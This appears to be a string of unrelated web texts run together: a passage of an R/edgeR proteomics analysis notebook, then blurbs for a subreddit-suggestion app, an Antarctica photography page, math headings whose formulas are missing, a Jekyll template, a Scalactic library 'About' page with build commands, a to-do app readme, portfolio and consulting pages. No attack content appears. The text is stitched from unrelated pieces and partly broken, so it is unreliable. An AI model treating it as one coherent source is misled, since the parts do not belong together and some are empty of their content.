# make MA plots
MA_plots(results, "ave_low", "ave_high", "7.5 versus 45")
# make scatter plots
scatter_plots(results, "ave_low", "ave_high", "7.5 versus 45")
# make a volcano plot
volcano_plot(results, "ave_low", "ave_high", "7.5 versus 45")
# look at the top candidates
set_plot_dimensions(6, 3.5)
plot_top_tags(results, 3, 3, 10)
set_plot_dimensions(7, 7)
The over-expressed proteins look like they have true expression differences. All of the top 10 candidates are E. coli proteins. The down expressed proteins are all human and seem to be differing by a little bit. The normalization really should have matched the expression levels more closely. The human proteins are all false positive candidates.
Compare the last two spike-in levels. We should have 3-fold changes for E. coli proteins and no change for human proteins.
# the exact test object has columns like fold-change, CPM, and p-values
et <- exactTest(y, pair = c("med", "high"))
# this counts up, down, and unchanged genes (proteins) at 10% FDR
summary(decideTestsDGE(et, p.value = 0.10))
# the topTags function adds the BH FDR values to an exactTest data frame
# make sure we do not change the row order (the sort.by parameter)!
topTags(et)$table
tt <- topTags(et, n = Inf, sort.by = "none")
# make an MD plot (like MA plot)
plotMD(et, p.value = 0.10)
abline(h = c(-1, 1), col = "black")
# check the p-value distribution
ggplot(tt$table, aes(PValue)) +
geom_histogram(bins = 100, fill = "white", color = "black") +
geom_hline(yintercept = mean(hist(et$table$PValue, breaks = 100,
plot = FALSE)$counts[26:100])) +
ggtitle("15 versus 45 p-value distribution")
This comparison looks wrong, too. We have 3-fold E. coli differences instead of 6-fold differences, and the "incorrectness" seems to be similar but reduced.
We will add the statistical testing results (logFC, p-values, and FDR), condition intensity averages, and candidate status to the results
data frame (which has the TMM-normalized data) and also accumulate all of the three comparisons into all_results
.
Even though we have few candidates, we will still make the MA plot, scatter plot, and volcano plot.
# get the results summary
results <- collect_results(tmt_tmm, tt$table, med, "med", high, "high")
results$species <- as.factor(species)
# make column names unique by adding comparison
results_temp <- results
colnames(results_temp) <- str_c(colnames(results), "_med_high")
# accumulate the testing results
all_results <- cbind(all_results, results_temp)
# see how many candidates by category
results %>% count(candidate)
# plot log2 fold-changes by category
ggplot(results, aes(x = logFC, fill = candidate)) +
geom_histogram(binwidth=0.1, color = "black") +
facet_wrap(~candidate) +
coord_cartesian(xlim = c(-3, 3)) +
ggtitle("15 versus 45 logFC distributions by candidate")
# make MA plots
MA_plots(results, "ave_med", "ave_high", "15 versus 45")
# make scatter plots
scatter_plots(results, "ave_med", "ave_high", "15 versus 45")
# make a volcano plot
volcano_plot(results, "ave_med", "ave_high", "15 versus 45")
# look at the top candidates
set_plot_dimensions(6, 3.5)
plot_top_tags(results, 4, 3, 10)
set_plot_dimensions(7, 7)
The top over-expressed proteins are all E. coli proteins. We expect 3-fold changes, but see 2-fold changes. We have some small systematic under-normalization of the human proteins. We did match the total of all human proteins to be the same. The down-regulated human proteins above end up with slightly different expression levels after the normalization. They should have been better aligned if our understanding of the data were correct.
We tried to compensate for possible violations of the normalization assumptions in edgeR's TMM algorithm by doing a simple manual normalization to match the human protein levels. That really did not change the poor statistical testing outcomes much over just using TMM.
all_results
frame to TSV file¶write.table(all_results, "edgeR_no-norm_results.txt", sep = "\t",
row.names = FALSE, na = " ")
sessionInfo()


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Sign out if you want to grant access with an account other than {{user.username}}.


Suggest.it uses statistical data from the user-provided information and Reddit's API to match your post with the subreddit(s) that are most similar to the topic you're posting about. If you want to really dive in to how it all works, check out our GitHub!
Summary: Suggest.It helps you find the most relevant subreddit. (To get the most attention!)
The Marketing User-Interface team is comprised of myself, Brandon Fulmer and Chris Engel. Chris and I created the marketing website and the layout, as well as all the styling and visuals that you (the User) can see. We worked primarily in CSS/LESS and HTML and we published the website through Netlify.
The react front-end team includes AJ Merritt, as well as Zac Higgins. These guys put together the 'log in' portion of the website as well as added functionality to various different areas. They coordination with the back-end developers and the data engineer's flask app to make the magic happen.
The back-end was done by Russ Terry and Mack Weber, they worked closely with the React team to manage the data that was coming in and then relayed it in a useable format to the Data Science team for processing.
The Data Engineering team consisted of Stefano Ruiz as well as David Nagy. These two were responsible for creating the flask app and were the bridge between the machine learning module and the front-end react app that you use.
The Machine Learning team (led by Matthew Sessions and Johana Luna.) created a model to house the data recieved from your (the User) inputs. The model takes a submitted post, converts it to numbers, then compares it to all the Reddit posts stored in its database.


--- layout: default title: Antarctica img: antarctica ---
My photography took a sharp turn in the Fall of 2007 when I went to work at McMurdo Station, Antarctica. I was just a lowly dishwasher, scrubbing pots and moping floors, but it opened up the world to me. I saw things I never thought I'd see. I did things I never thought I'd do.
And I found myself in a place that demanded attention. The contrast of ancient, striking beauty alongside 60 years of isolated, industrial human settlement pulled me in opposite directions: from the 12,000-foot steaming volcano and hour-long sunsets over a frozen ocean to the 2-million-gallon fuel tanks and constant rumble of heavy equipment. I saw everything through the lens of my camera.

After only a few days at McMurdo I knew I would be returning. I sensed something very special about that place and 4 months was barely going to scratch the surface. The beauty, the community, the isolation: it wrapped its arms around me and I was at home.
I had to come back to The Ice.


Macluarin expansion:
Binomial expansion:
where
is a positive integer and
Partial fractions decomposition
Non-repeated linear factors:
Repeated linear factors:
Non-repeated quadratic factor:


{% include head.html %}
{% include navbar.html %}
A.M. Knight
Full Stack Web Developer
{{ content }}
{% include footer.html %} {% include scripts.html %} {% include googleanalytics.html %}


@* * Copyright 2010-2014 Artima, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *@ @nonHomePage("About") {
Scalactic was written by Bill Venners starting in 2012. The Scalactic library grew out of the ScalaTest 2.0 effort, it is small and can be used in production conveniently without depending on ScalaTest.
Scalactic's source code is hosted together with ScalaTest, but deployed as different artifacts (ScalaTest Jar includes Scalactic also, but you can use Scalactic alone through the Scalactic Jar). You can browse the source code:
https://github.com/scalatest/scalatest
You can git clone it to your local disk with this command
git clone https://github.com/scalatest/scalatest.git
To contribute, please fork the repo on your GitHub account, make your changes and submit a pull request.
To build ScalaTest/Scalactic, you'll need:
and use the following options in your SBT launch file:
SBT_OPTS="-server -Xms512M -Xmx2048M -Dfile.encoding=UTF8 -Xss1M -XX:MaxPermSize=512M -XX:+UseConcMarkSweepGC -XX:+CMSIncrementalMode -XX:+DoEscapeAnalysis -XX:ReservedCodeCacheSize=64m"
This command will build and run the regular tests:
$ sbt test
To run generated tests, you'll need to increase maximum heap size to -Xmx3072M
, and use this command instead:
$ sbt "project gentests" "test"
What it does is simply switch to gentests
project and run test
.
Issues can be submitted here:


This is a web application designed to assist the user with keeping track of their ToDos, Meetings and Appointments on a typical 9-5 Workday. The system will automatically reflect the current date.
The application will store the events locally on the client machine. Update each hour and make sure you click on the save button for each hour that you edit. A sample entry for Lunch is automatically populated at 12:00 PM each day.
Informaiton about the developer can be obtained by clicking here.


Hi everyone! My name is Robert Clark and welcome to my portfolio! Since I was a kid, I've loved finding new ways of creating. From pencil to paper, to a mouse and computer, artwork is my way of expressing Me!
Using the fundamentals of web development and graphic design, I look to continue creating work that showcases my personality and my ideas, and I hope to assist others in creating artwork that represents their traits and ideas.
Languages & Toolset


Planning
We ensure that a proper foundation exists at the start of a project. We focus on the business goals first, and that our customers have realistic expectations. GovWizely needs a client point person to be responsible for accepting and prioritizing work on a daily basis.
Product Development
We release software to our customer’s user base as fast as we can. We achieve this by using Agile, and our clients have daily interaction with the project team to accept and work. We use test driven development and employ third party tools that will evaluate and grade the code quality.
Product Launch
When we release software, we want to make sure people use it! GovWizely will help with basic "marketing" tasks to make sure the audience knows about the impending solution and will be ready to use it. This immediate feedback is also important to drive the next iterations.
Post-Launch Support
After a launch, we revisit our customer’s needs. While, we are “expendable” because we write the software in the way that anyone can take over, our projects tend to be complex. We have found that customers need non-software development functions, such as change managers, data analysts, librarians, or customer support.


REC
SPORT
Sports team management social networking service
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